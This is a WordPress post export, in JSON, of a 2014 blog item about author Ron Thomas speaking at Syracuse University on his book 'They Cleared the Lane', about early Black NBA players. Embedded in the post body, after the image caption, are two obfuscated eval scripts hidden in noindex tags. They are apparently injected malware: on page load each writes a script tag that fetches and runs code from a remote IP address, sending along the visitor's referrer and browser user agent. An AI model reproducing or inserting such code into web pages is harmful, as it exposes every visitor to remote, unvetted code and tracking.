{"id":8468,"date":"2014-03-01T19:28:42","date_gmt":"2014-03-02T00:28:42","guid":{"rendered":"http:\/\/www.sif.net\/wordpress\/?p=8468"},"modified":"2016-03-29T14:42:11","modified_gmt":"2016-03-29T19:42:11","slug":"they-came-before-the-crossover","status":"publish","type":"post","link":"https:\/\/www.sif.net\/wordpress\/?p=8468","title":{"rendered":"They Came before Crossover"},"content":{"rendered":"<p><div id=\"attachment_8469\" style=\"width: 518px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-8469\" loading=\"lazy\" class=\"size-full wp-image-8469\" title=\"Author and Morehouse College journalism professor Ron Thomas spoke at the S.I. Newhouse School of Public Communications last Thursday.\" src=\"http:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/rthomas-su-bballbook1.jpg\" alt=\"Author and Morehouse College journalism professor Ron Thomas spoke at the S.I. Newhouse School of Public Communications last Thursday.\" width=\"508\" height=\"349\" srcset=\"https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/rthomas-su-bballbook1.jpg 508w, https:\/\/www.sif.net\/wordpress\/wp-content\/uploads\/2014\/03\/rthomas-su-bballbook1-300x206.jpg 300w\" sizes=\"(max-width: 508px) 100vw, 508px\" \/><p id=\"caption-attachment-8469\" class=\"wp-caption-text\">Morehouse College Sports and Journalism Program Director Ron Thomas\u00a0spoke about the genesis of the NBA and how it was integrated during a visit to\u00a0the S.I. Newhouse School of Public Communications\u00a0on Thursday.<\/p><\/div><br \/>\n<noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zfnin|var|u0026u|referrer|itkba||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <noindex><script type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arbnd|var|u0026u|referrer|anftf||js|php'.split('|'),0,{}))\n<\/script><\/noindex><br \/>\nRon Thomas shared stories\u00a0from\u00a0his book <em><a title=\"They Cleared the Lane\" href=\"http:\/\/theyclearedthelane.com\/\" target=\"_blank\">They Cleared the Lane<\/a>\u00a0<\/em>with SU students and faculty this week. His\u00a0exhaustive research highlights\u00a0ballers such as\u00a0Chuck Cooper, <a title=\"Bucky Lew\" href=\"http:\/\/www.blackfives.org\/happy-birthday-1884-to-harry-bucky-lew-americas-first-black-pro-hoopster\/\" target=\"_blank\">Bucky Lew<\/a> and Cleo Hill.\u00a0\u00a0 Thomas, who\u00a0grew up in Buffalo and went to college in Rochester, \u00a0is a former\u00a0NBA beat-writer, turned author and educator. His\u00a0talk was part of an event\u00a0produced by <a title=\"Sports Media Center\" href=\"http:\/\/newhouse.syr.edu\/news-events\/news\/things-you-should-know-about-nba-probably-dont\" target=\"_blank\">Syracuse University&#8217;s Sports Media Center<\/a>.<\/p>\n<p>Thomas also posed one of the most\u00a0clever sports trivia questions out there: Who was the\u00a0NBA&#8217;s first\u00a0player? (there&#8217;s more than one answer, so read the book)<\/p>\n<p>On Friday, Thomas continued his labor of love by attending a ceremony in West Virginia that featured a tribute to\u00a0<a title=\"Earl Lloyd honored at WV State\" href=\"http:\/\/wvmetronews.com\/2014\/02\/28\/earl-lloyd-returns-to-wvsu\/\" target=\"_blank\">Earl Lloyd<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ron Thomas shared stories\u00a0from\u00a0his book They Cleared the Lane\u00a0with SU students and faculty this week. His\u00a0exhaustive research highlights\u00a0ballers such as\u00a0Chuck Cooper, Bucky Lew and Cleo Hill.\u00a0\u00a0 Thomas, who\u00a0grew up in Buffalo and went to college in Rochester, \u00a0is a former\u00a0NBA beat-writer, turned author and educator. His\u00a0talk was part of an event\u00a0produced by Syracuse University&#8217;s Sports [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[20,19],"tags":[3463,160,1835,3582,28,989,535,3583,3580,1354,5000,3584,1837,3581],"_links":{"self":[{"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/8468"}],"collection":[{"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=8468"}],"version-history":[{"count":14,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/8468\/revisions"}],"predecessor-version":[{"id":16607,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/8468\/revisions\/16607"}],"wp:attachment":[{"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=8468"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=8468"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sif.net\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=8468"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}